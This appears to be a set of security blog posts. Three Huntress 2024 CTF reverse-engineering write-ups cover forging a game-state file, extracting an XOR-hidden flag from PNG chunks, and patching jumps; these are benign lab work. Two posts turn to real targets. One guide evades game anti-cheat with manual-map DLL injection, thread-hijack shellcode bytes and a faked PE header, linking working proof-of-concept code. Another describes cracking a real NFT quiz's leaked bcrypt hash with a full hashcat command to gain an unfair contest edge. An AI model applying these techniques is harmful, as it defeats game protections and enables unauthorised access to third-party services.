    var sb strings.Builder

    sb.WriteString(fmt.Sprintf("%s := &pb.Grid{\n", varName))
    sb.WriteString(fmt.Sprintf("    Width:  %d,\n", grid.Width))
    sb.WriteString(fmt.Sprintf("    Height: %d,\n", grid.Height))
    sb.WriteString("    Rows: []*pb.CellRow{\n")

    for _, row := range grid.Rows {
        sb.WriteString("        {\n")
        sb.WriteString("            Cells: []*pb.Cell{\n")
        for _, cell := range row.Cells {
            sb.WriteString(fmt.Sprintf("                {Alive: %t, Color: %d},\n", cell.Alive, cell.Color))
        }
        sb.WriteString("            },\n")
        sb.WriteString("        },\n")
    }

    sb.WriteString("    },\n")
    sb.WriteString("}\n")

    return sb.String()
}

We have successfully deserialized the pb file. Therefore we can create a solution too by forging our own data based on winning conditions and serialize it.

Upon further reverse engineering, there is a win criteria generation in the binary.

Upon investigating the qwordWinCriteria, it seems like it stores the data for the win condition.

Entry 0:
- Field 0 (Row):    0x0A00000000000000 -> 10
- Field 8 (Column): 0x0F00000000000000 -> 15
- Field 16 (Value): 0x1F00000000000000 -> 31

Entry 1:
- Field 0 (Row):    0x1400000000000000 -> 20
- Field 8 (Column): 0x1900000000000000 -> 25
- Field 16 (Value): 0x2000000000000000 -> 32

... and so on.

With these information, we are now ready to craft the solution.

// serialize.go
package main

import (
    "log"
    "os"

    "example.com/m/v2/pb"
    "google.golang.org/protobuf/proto"
)

func main() {
    // Define the win criteria
    winCriteria := []struct {
        Row    int32
        Column int32
        Color  int32
    }{
		{10, 15, 31},
		{20, 25, 32},
		{30, 35, 33},
		{40, 45, 34},
		{25, 50, 35},
		{5, 55, 36},
		{15, 60, 37},
		{35, 65, 31},
		{45, 70, 32},
		{0, 75, 33},
		{1, 80, 34},
		{2, 85, 35},
    }

    // Initialize the grid
    width := int32(400)
    height := int32(50)
    grid := &pb.Grid{
        Width:  width,
        Height: height,
        Rows:   make([]*pb.CellRow, height),
    }

    // Initialize all cells to dead and color 0
    for i := int32(0); i < height; i++ {
        row := &pb.CellRow{
            Cells: make([]*pb.Cell, width),
        }
        for j := int32(0); j < width; j++ {
            row.Cells[j] = &pb.Cell{
                Alive: false,
                Color: 0,
            }
        }
        grid.Rows[i] = row
    }

    // Apply the win criteria
    for _, wc := range winCriteria {
        if wc.Row >= 0 && wc.Row < height && wc.Column >= 0 && wc.Column < width {
            grid.Rows[wc.Row].Cells[wc.Column].Alive = true
            grid.Rows[wc.Row].Cells[wc.Column].Color = wc.Color
        } else {
            log.Fatalf("Win criteria position out of bounds: (%d, %d)", wc.Row, wc.Column)
        }
    }

    // Serialize the Grid to binary format
    data, err := proto.Marshal(grid)
    if err != nil {
        log.Fatalf("Failed to serialize Grid: %v", err)
    }

    // Write to a file
    file, err := os.Create("game_state.pb") // The game expects this filename
    if err != nil {
        log.Fatalf("Failed to create file: %v", err)
    }
    defer file.Close()

    _, err = file.Write(data)
    if err != nil {
        log.Fatalf("Failed to write data to file: %v", err)
    }

    log.Println("Grid serialized to game_state.pb successfully.")
}

[HNTRS2024] Huntress 2024 (Reverse Engineering): OceanLocust

⚠️⚠️⚠️ This is a solution to the challenge. This post will be full of spoilers.
Download the binaries here: https://github.com/mlesterdampios/huntress-2024-binary-challenges

We are given a png file and a binary with it. Upon initial triage, seems like the binary is a tool for Steganography. Our task is to retrieve the file from the png by reversing the binary and make a decryption tool.

Finding the entry point:

Now we reverse this gigantic function.

First, let’s understand the PNG file.

1. Understand the PNG File Structure

PNG files consist of an 8-byte signature followed by a series of chunks. Each chunk has the following format:

  • Length: 4 bytes (big-endian integer)
  • Chunk Type: 4 bytes (ASCII characters)
  • Chunk Data: Variable length
  • CRC: 4 bytes (Cyclic Redundancy Check)

Standard chunk types include IHDRPLTEIDAT, and IEND. However, PNG files can also contain custom ancillary chunks, which can be used to store additional data without affecting the image’s visual appearance.

2. Identify Custom Chunks

From the code snippet, it seems the application is adding custom chunks to the PNG file. Look for chunk types that are not standard. In the code, you can see references to functions that handle chunks, such as sub_140005D60, which appears to add a chunk with a given type.

sub_140005D60(&v70, &v50, "IHDR", 4i64);

But since IHDR is a standard chunk, look for other custom chunk types being used. Since the code is obfuscated, we might not see the actual chunk names directly. However, we can infer that custom chunks are being added to store the flag data.

So what I did was to put a breakpoint at `v19 = v69` as this variables would likely contain the information how the chunks are stored.

1st bp hit:

debug023:0000023C584F7EC0                 db  62h ; b
debug023:0000023C584F7EC1                 db  69h ; i
debug023:0000023C584F7EC2                 db  54h ; T
debug023:0000023C584F7EC3                 db  61h ; a
debug023:0000023C584F7EC4                 db  3Ch ; <
debug023:0000023C584F7EC5                 db    2

2nd bp hit:

debug023:0000023C584F7EC0                 db  62h ; b
debug023:0000023C584F7EC1                 db  69h ; i
debug023:0000023C584F7EC2                 db  54h ; T
debug023:0000023C584F7EC3                 db  62h ; b
debug023:0000023C584F7EC4                 db  3Ch ; <
debug023:0000023C584F7EC5                 db    2

3rd bp hit:

debug023:0000023C584F7EC0                 db  62h ; b
debug023:0000023C584F7EC1                 db  69h ; i
debug023:0000023C584F7EC2                 db  54h ; T
debug023:0000023C584F7EC3                 db  63h ; c
debug023:0000023C584F7EC4                 db  3Ch ; <
debug023:0000023C584F7EC5                 db    2

It just repeats, but only the 0000023C584F7EC3 changes alphabetically until reaching `i`.

Notable Patterns:

  • The bytes at offsets 0 to 2 are constant: 'b''i''T'.
  • The byte at offset 3 changes from 'a' to 'b' to 'c', incrementing alphabetically up to 'i'.
  • The rest of the bytes remain constant or contain padding.

Interpreting the Data

Given that the data starts with 'biT' followed by a changing letter, it’s likely that this forms a chunk type in the PNG file.

Chunk Type Formation:

Chunk Type: 4 ASCII characters.

The observed chunk types are:

  • 'biTa'
  • 'biTb'
  • 'biTc'
  • 'biTi'

Understanding the Application’s Behavior

From your decompiled code and observations, the application seems to:

  1. Create Custom PNG Chunks:
    • It generates multiple custom chunks with types 'biTa''biTb', …, 'biTi'.
    • These chunks are likely used to store encrypted portions of the flag.
  2. Encrypt Flag Data:
    • The flag is divided into segments.
    • Each segment is XORed with a key derived from the chunk type or chunk data.
    • The encrypted segments are stored in the corresponding custom chunks.
  3. Key Derivation:
    • The key used for XORing seems to be derived from the chunk data (v69) or possibly the chunk type.
    • Since v19 = v69, and v69 points to the data starting with 'biTa', it’s possible that the chunk data itself is used as the key.

Reversing the Process

To extract and decode the embedded flag, we’ll need to:

  1. Parse the PNG File and Extract Custom Chunks:
    • Read the PNG file and extract all chunks, including custom ones with types 'biTa''biTb', …, 'biTi'.
  2. Collect Encrypted Data and Keys:
    • For each custom chunk:
      • Extract the encrypted data (chunk data).
      • Derive the key from the chunk data or type.
  3. Decrypt the Data:
    • XOR the encrypted data with the derived key to recover the original flag segments.
    • Concatenate the decrypted segments to reconstruct the full flag.

1. Read the PNG File and Extract Chunks

import struct

def read_chunks(file_path):
    with open(file_path, 'rb') as f:
        # Read the PNG signature
        signature = f.read(8)
        if signature != b'\x89PNG\r\n\x1a\n':
            raise Exception('Not a valid PNG file')

        chunks = []
        while True:
            # Read the length (4 bytes)
            length_bytes = f.read(4)
            if len(length_bytes) < 4:
                break  # End of file
            length = struct.unpack('>I', length_bytes)[0]

            # Read the chunk type (4 bytes)
            chunk_type = f.read(4).decode('ascii')

            # Read the chunk data
            data = f.read(length)

            # Read the CRC (4 bytes)
            crc = f.read(4)

            chunks.append({
                'type': chunk_type,
                'data': data,
                'crc': crc
            })

        return chunks

2. Identify Custom Chunks

def extract_custom_chunks(chunks):
    standard_chunks = {
        'IHDR', 'PLTE', 'IDAT', 'IEND', 'tEXt', 'zTXt', 'iTXt',
        'bKGD', 'cHRM', 'gAMA', 'hIST', 'iCCP', 'pHYs', 'sBIT',
        'sPLT', 'sRGB', 'tIME', 'tRNS'
    }
    custom_chunks = []
    for chunk in chunks:
        if chunk['type'] not in standard_chunks:
            custom_chunks.append(chunk)
    return custom_chunks

3. Sort Chunks Based on Sequence

def sort_custom_chunks(chunks):
    # Sort chunks based on the fourth character of the chunk type
    return sorted(chunks, key=lambda c: c['type'][3])

4. Extract Encrypted Data and Keys

def derive_key_from_chunk_type(chunk_type):
    return chunk_type.encode('ascii')

5. Decrypt the Encrypted Data

def xor_decrypt(data, key):
    decrypted = bytearray()
    key_length = len(key)
    for i in range(len(data)):
        decrypted_byte = data[i] ^ key[i % key_length]
        decrypted.append(decrypted_byte)
    return bytes(decrypted)

6. Combine Decrypted Segments

def extract_flag_from_chunks(chunks):
    flag_parts = []
    for chunk in chunks:
        key = derive_key_from_chunk_type(chunk['type'])
        # Or use derive_key_from_chunk_data(chunk)
        encrypted_data = chunk['data']
        decrypted_data = xor_decrypt(encrypted_data, key)
        flag_parts.append(decrypted_data)
    flag = b''.join(flag_parts)
    return flag.decode()

7. Full Extraction Script

def extract_flag(file_path):
    chunks = read_chunks(file_path)
    custom_chunks = extract_custom_chunks(chunks)
    sorted_chunks = sort_custom_chunks(custom_chunks)
    flag = extract_flag_from_chunks(sorted_chunks)
    return flag

# Example usage
flag = extract_flag('embedded_flag.png')
print("Recovered Flag:", flag)

Full Code

import struct
import sys

def read_chunks(file_path):
    """
    Reads all chunks from a PNG file.

    :param file_path: Path to the PNG file.
    :return: List of chunks with their type, data, and CRC.
    """
    chunks = []
    with open(file_path, 'rb') as f:
        # Read the PNG signature (8 bytes)
        signature = f.read(8)
        if signature != b'\x89PNG\r\n\x1a\n':
            raise Exception('Not a valid PNG file')

        while True:
            # Read the length of the chunk data (4 bytes, big-endian)
            length_bytes = f.read(4)
            if len(length_bytes) < 4:
                break  # End of file reached
            length = struct.unpack('>I', length_bytes)[0]

            # Read the chunk type (4 bytes)
            chunk_type = f.read(4).decode('ascii')

            # Read the chunk data
            data = f.read(length)

            # Read the CRC (4 bytes)
            crc = f.read(4)

            chunks.append({
                'type': chunk_type,
                'data': data,
                'crc': crc
            })

    return chunks

def extract_custom_chunks(chunks):
    """
    Filters out standard PNG chunks to extract custom chunks.

    :param chunks: List of all chunks from the PNG file.
    :return: List of custom chunks.
    """
    standard_chunks = {
        'IHDR', 'PLTE', 'IDAT', 'IEND', 'tEXt', 'zTXt', 'iTXt',
        'bKGD', 'cHRM', 'gAMA', 'hIST', 'iCCP', 'pHYs', 'sBIT',
        'sPLT', 'sRGB', 'tIME', 'tRNS'
    }
    custom_chunks = []
    for chunk in chunks:
        if chunk['type'] not in standard_chunks:
            custom_chunks.append(chunk)
    return custom_chunks

def sort_custom_chunks(chunks):
    """
    Sorts custom chunks based on the fourth character of the chunk type.

    :param chunks: List of custom chunks.
    :return: Sorted list of custom chunks.
    """
    return sorted(chunks, key=lambda c: c['type'][3])

def derive_key_from_chunk_type(chunk_type):
    """
    Derives the key from the chunk type.

    :param chunk_type: Type of the chunk (string).
    :return: Key as bytes.
    """
    return chunk_type.encode('ascii')

def xor_decrypt(data, key):
    """
    Decrypts data by XORing it with the key.

    :param data: Encrypted data as bytes.
    :param key: Key as bytes.
    :return: Decrypted data as bytes.
    """
    decrypted = bytearray()
    key_length = len(key)
    for i in range(len(data)):
        decrypted_byte = data[i] ^ key[i % key_length]
        decrypted.append(decrypted_byte)
    return bytes(decrypted)

def extract_flag_from_chunks(chunks):
    """
    Extracts and decrypts the flag from custom chunks.

    :param chunks: List of sorted custom chunks.
    :return: Decrypted flag as a string.
    """
    flag_parts = []
    for chunk in chunks:
        key = derive_key_from_chunk_type(chunk['type'])
        encrypted_data = chunk['data']
        decrypted_data = xor_decrypt(encrypted_data, key)
        flag_parts.append(decrypted_data)
    flag = b''.join(flag_parts)
    # Remove padding if any (e.g., 0xAB bytes)
    flag = flag.rstrip(b'\xAB')
    return flag.decode('utf-8', errors='replace')

def extract_flag(file_path):
    """
    Main function to extract the flag from the PNG file.

    :param file_path: Path to the PNG file.
    :return: Decrypted flag as a string.
    """
    # Read all chunks from the PNG file
    chunks = read_chunks(file_path)
    # Extract custom chunks where the flag is hidden
    custom_chunks = extract_custom_chunks(chunks)
    # Sort the custom chunks based on their sequence
    sorted_chunks = sort_custom_chunks(custom_chunks)
    # Extract and decrypt the flag from the custom chunks
    flag = extract_flag_from_chunks(sorted_chunks)
    return flag

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("Usage: python extract_flag.py <path_to_png_file>")
        sys.exit(1)
    png_file_path = sys.argv[1]
    try:
        recovered_flag = extract_flag(png_file_path)
        print("Recovered Flag:", recovered_flag)
    except Exception as e:
        print("An error occurred:", str(e))
        sys.exit(1)

Flag!

[HNTRS2024] Huntress 2024 (Reverse Engineering): GoCrackMe3

⚠️⚠️⚠️ This is a solution to the challenge. This post will be full of spoilers.
Download the binaries here: https://github.com/mlesterdampios/huntress-2024-binary-challenges

This challenge is an executable file with areas or regions that can never be reached due to logic conditions built in. The challenge is to redirect the flow to force it reach the memory regions that contains the flag.

In the main function:

Notice that what ever happens, it always lands on that else block. How about we force it to satisfy the condition to true? Or just simply nop the jump to the else block

Before:

After:

Another interesting function is this one.

However, the logic prevents in getting to that block so we patch it.

Before:

After:

We also notice a function return that prevents us going further down. So we patch it too.

Before:

After:

Now we are going places.

And then, there’s another one.

Before:

After:

However, no flag here:

So we put breakpoint before the function ends.

Then we search for flag signature

GGz!

Basic Anti-Cheat Evasion

So it’s been a while since I posted a blog. I was so busy with other things, especially adjusting the schedule with my work and my studies.

This short article I’ll discuss some very basic techniques on evading anti-cheat. Of course, you would still need to adjust the evasion mechanism depending on the anti-cheat you are trying to defeat.

On this blog, we will focus on Internal anti-cheat evasion techniques.

Part 1: The injector

First part of making your “cheat” is creating an executable that would inject your .dll into the process, A.K.A the game.

There are lot of injection mechanisms (copied from cynet). Below is the list but not limited to:

Classic DLL injection 

Classic DLL injection is one of the most popular techniques in use. First, the malicious process injects the path to the malicious DLL in the legitimate process’ address space. The Injector process then invokes the DLL via a remote thread execution. It is a fairly easy method, but with some downsides: 

Reflective DLL injection

Reflective DLL injection, unlike the previous method mentioned above, refers to loading a DLL from memory rather than from disk. Windows does not have a LoadLibrary function that supports this. To achieve the functionality, adversaries must write their own function, omitting some of the things Windows normally does, such as registering the DLL as a loaded module in the process, potentially bypassing DLL load monitoring. 

Thread execution hijacking

Thread Hijacking is an operation in which a malicious shellcode is injected into a legitimate thread. Like Process Hollowing, the thread must be suspended before injection.

PE Injection / Manual Mapping

Like Reflective DLL injection, PE injection does not require the executable to be on the disk. This is the most often used technique seen in the wild. PE injection works by copying its malicious code into an existing open process and causing it to execute. To understand how PE injection works, we must first understand shellcode. 

Shellcode is a sequence of machine code, or executable instructions, that is injected into a computer’s memory with the intent of taking control of a running program.  Most shellcodes are written in assembly language. 

Manual Mapping + Thread execution hijacking = Best Combo

Above all of this, I think the very stealthy technique is the manual mapping with thread hijacking.
This is because when you manual map a DLL into a memory, you wouldn’t need to call DLL related WinAPI as you are emulating the whole process itself. Windows isn’t aware that a DLL has been loaded, therefore it wouldn’t link the DLL to the PEB, and it would not create structs nor thread local storage.
Aside from these, since you would be having thread hijacking to execute the DLL, then you are not creating a new thread, therefore you are safe from anti-cheat that checks for suspicious threads that are spawned. After the DLL sets up all initialization and hooks, it would return the control of the hijacked thread its original state, therefore, like nothing happened.

POC

https://github.com/mlesterdampios/manual_map_dll-imgui-d3d11/blob/main/injector/injection.cpp

This repository demonstrate a very simple injector. The following are the steps to achieve the DLL injection:

  • Elevate injector’s process to allow to get handle with PROCESS_ALL_ACCESS permission
  • VirtualAllocEx the dll image to the memory
  • Resolve Imports
  • Resolve Relocations
  • Initialize Cookie
  • VirtualAllocEx the shellcode
  • Fix the shellcode accordingly
  • Stop the thread and adjust it’s RIP pointing to the EntryPoint
  • Resume the thread

The shellcode

byte thread_hijack_shell[] = {
	0x51, // push rcx
	0x50, // push rax
	0x52, // push rdx
	0x48, 0x83, 0xEC, 0x20, // sub rsp, 0x20
	0x48, 0xB9, // movabs rcx, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0xBA, // movabs rdx, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0xB8, // movabs rax, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xFF, 0xD0, // call rax
	0x48, 0xBA, // movabs rdx, ->
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x89, 0x54, 0x24, 0x18, // mov qword ptr [rsp + 0x18], rdx
	0x48, 0x83, 0xC4, 0x20, // add rsp, 0x20
	0x5A, // pop rdx
	0x58, // pop rax
	0x59, // pop rcx
	0xFF, 0x64, 0x24, 0xE0 // jmp qword ptr [rsp - 0x20]
};

The line 7 is where you put the image base address, the line 9 is for dwReason, the line 11 is for DLL’s entrypoint and the line 14 is for the original thread RIP that it would jump back after finishing the DLL’s execution.

This injection mechanism is prone to lot of crashes. Approximately around 1 out of 5 injection succeeds. You need to load the game until on the lobby screen, then open the injector, if it crashes, just reboot the game and repeat the process until successful injection.

Part 2: The DLL

Of course, in the dll itself, you still need to do some cleanups. The injection part is done but the “main event of the evening” is just getting started.

POC

https://github.com/mlesterdampios/manual_map_dll-imgui-d3d11/blob/main/example_dll/dllmain.cpp

In the DLL main, we can see cleanups.

UnlinkModuleFromPEB

This one is unlinking the DLL from PEB. But since we are doing Manual Map, it wouldn’t have an effect at all, because windows didn’t even know that a DLL is loaded at all. This is useful tho, if we injected the DLL using classic injection method.

FakePeHeader

This one is replacing the PE header of DLL with a fakeone. Most memory scanner, tries to find suspicious memory location by checking if a PE exists. An MS-DOS header begins with the magic code 0x5A4D, so if an opcodes begin with that magic bytes, chances are, a PE is occupying that space. After that, the memory scanner might read that header for more information on what is really loaded with that memory location.

No Thread Creation

THIS IS IMPORTANT! Since we are hooking the IDXGISwapChain::Present, then we don’t see any reason to keep another thread running, so after our DLL finishes the setup, we then return the control of the thread to its original state. We can use the PresentHook to continue our “dirty business” inside the programs memory. Besides, as mentioned earlier, having threads can lead to anti-cheat flagging.

Obfuscation thru Polymorphism and Instantiation

This technique is already discussed on another blog: Obfuscation thru Polymorphism and Instantiation.

CALLBACKS_INSTANCE = new CALLBACKS();
MAINMENU_INSTANCE = new MAINMENU();

XORSTR

Ah, yes, the XORSTR. We can use this to hide the real string and will only be calculated upon usage.
To demonstrate the XORSTR, here is a sample usage. Focus on the line with “##overlay” string.

xorstr

And this is what it looks like after compiling and putting it under decompiler.

IDA Decompile

Other methodologies

There are some few more basic methodologies that wasn’t applied in the project. Below are following but not limited to:

  • Anti-debugging
  • Anti-VM
  • Polymorphism and Code mutation (to avoid heuristic patten scanners)
  • Syscall hooks
  • Hypervisor-assisted hooking
  • Scatter Manual Mapper (https://github.com/btbd/smap)
  • and etc…

This blog is not meant to teach reversing a game, but if you would like to deep dive more on reverse engineering, checkout: https://www.unknowncheats.me/ and https://guidedhacking.com/

Other resources:

POC and Conclusion

So, with the basic knowledge we have here, we tried to inject this on one of a common game that is still on ring3 (because ring0 AC’s are much more harder to defeat ?).

BEWARE THAT THE ABOVE SCREENSHOTS ARE ONLY DONE IN A NON-COMPETITIVE MODE, AND ONLY STANDS FOR EDUCATIONAL PURPOSES ONLY. I AM NOT RESPONSIBLE FOR ANY ACTION YOU MAKE WITH THE KNOWLEDGE THAT I SHARED WITH YOU.

And now, we reached the end of this blog, but before I finished this article, I want to say thank you for reading this entire blog, also, I just want to say that I also passed the CISSP last October 2023, but wasn’t able to update here due to lot of workloads.

Again, I am really grateful for your time. Until next time!

Why so trusting?

Quick Context: Okay, so recently, we come across some fancy NFT project wherein “Students” are invited to join “Quizzes” and “Projects” to “Graduate”.

A “Graduate” means whitelisted for the mint of the NFT collection.

Our Goal

Our goal is to get into the top leaderboard so we can ensure our whitelist slot. And we want this by all means, so we use our hacker instinct to get advantage on the quiz.

However, we wouldn’t wanna overkill the contest. We didn’t spawn bots to automatically answer the quizzes (which is easy to do), so we just sticked with our bare hands, manually answering the quizzes. And we just stick to one-to-one account to human. We don’t want to disrupt the experience of other people.

The quiz

The quiz is a client sided web app. Meaning, all of the password for the quiz and questions are given to client without levels of authorization. Below are the steps of our reconnaissance and enumeration to extract the password and the set of question for a quiz.

Cracking the Password

Every quiz has different password. And our goal is to crack the password before the quiz starts (hours before the quiz so we have the chance to crack it).

Upon logging-in and browsing to /quiz page, we could see a web api requests. We can see that a request has a response that includes juicy information. We saw a json response that includes quiz details and we write down the _id and the password to our notes.

$2a$10$msFPZnG.NKHaCcVupGsQyuvpB8IwtZ7v3UxPBwf3fXe8hGdCMEwsu

The password is a bcrypt hash.

The first thing we did was to list all possible passwords and try to compare them against the hash.
But sadly, we didn’t got any “possible password” correct.

What is Bcrypt?

The input to the bcrypt function is the password string (up to 72 bytes), a numeric cost, and a 16-byte (128-bit) salt value. The salt is typically a random value. The bcrypt function uses these inputs to compute a 24-byte (192-bit) hash. The final output of the bcrypt function is a string of the form:

$2<a/b/x/y>$[cost]$[22 character salt][31 character hash]

For example, with input password abc123xyz, cost 12, and a random salt, the output of bcrypt is the string

$2a$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW
\__/\/ \____________________/\_____________________________/
Alg Cost      Salt                        Hash

Where:

  • $2a$: The hash algorithm identifier (bcrypt)
  • 12: Input cost (212 i.e. 4096 rounds)
  • R9h/cIPz0gi.URNNX3kh2O: A base-64 encoding of the input salt
  • PST9/PgBkqquzi.Ss7KIUgO2t0jWMUW: A base-64 encoding of the first 23 bytes of the computed 24 byte hash

The base-64 encoding in bcrypt uses the table ./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,[9] which is different than RFC 4648 Base64 encoding.

Back to our discussion

So now we know the basics of bcrypt, we could now start attacking the password hash.

Well, luckily, we got a tool named hashcat.
Without having any more ideas about the password, we can now use the bruteforce technique.
We also know that the password only contains numbers.
So we could go bruteforce increment from ZERO until 10^n. Where n is the number of digits.

hashcat.exe -a 3 -m 3200 --increment --increment-min 1 --increment-max 8 $2a$10$msFPZnG.NKHaCcVupGsQyuvpB8IwtZ7v3UxPBwf3fXe8hGdCMEwsu ?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d

Here, we tell hashcat that our attack mode is Brute-force (-a 3), increment each password iteration (–increment), start from 1 digit (–increment-min 1), end the iteration with maximum of 8 digit (–increment-max 8), password hash that we found earlier ($2a$10$msFPZnG.NKHaCcVupGsQyuvpB8IwtZ7v3UxPBwf3fXe8hGdCMEwsu) and the pattern that we want our hashcat to follow (?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d?d).

To know more about hashcat, check this out: https://hashcat.net/wiki/doku.php?id=hashcat

And after some couple of minutes, we cracked the hash!

It took only 8 minutes for my GTX1050 to crack a 5-digit password. But it would definitely lasts more longer if the password was longer than 5-digit.
Luckily, the password for this quiz is shorter than the first set of quizzes so we are able to bruteforce this in a very small amount of time.

Extracting Questions

We found a page where we can browse the quiz. We just enter the password that we found for this quiz.

The web app then make a request to the web api and we could see a juicy information here that includes the quiz questionnaires (testData).

We just parse the testData. And boom! Successfully extracted the PASSWORD and the QUESTIONS.

Conclusion

I understand the intention of the developer that they don’t want the participants kinda “DDoS” their servers by having a lot of authentication and authorization though their servers. They just give all their password and quiz data to the client because they want the validation to be on client’s side and not having loads to their server.

The web app’s architecture, does not really abide the Zero Trust Security because they just make the client’s authorized themselves and “trusts” them without proper validation.

Thanks for reading this short writeup!
I hope you enjoy and see you on my next writeup!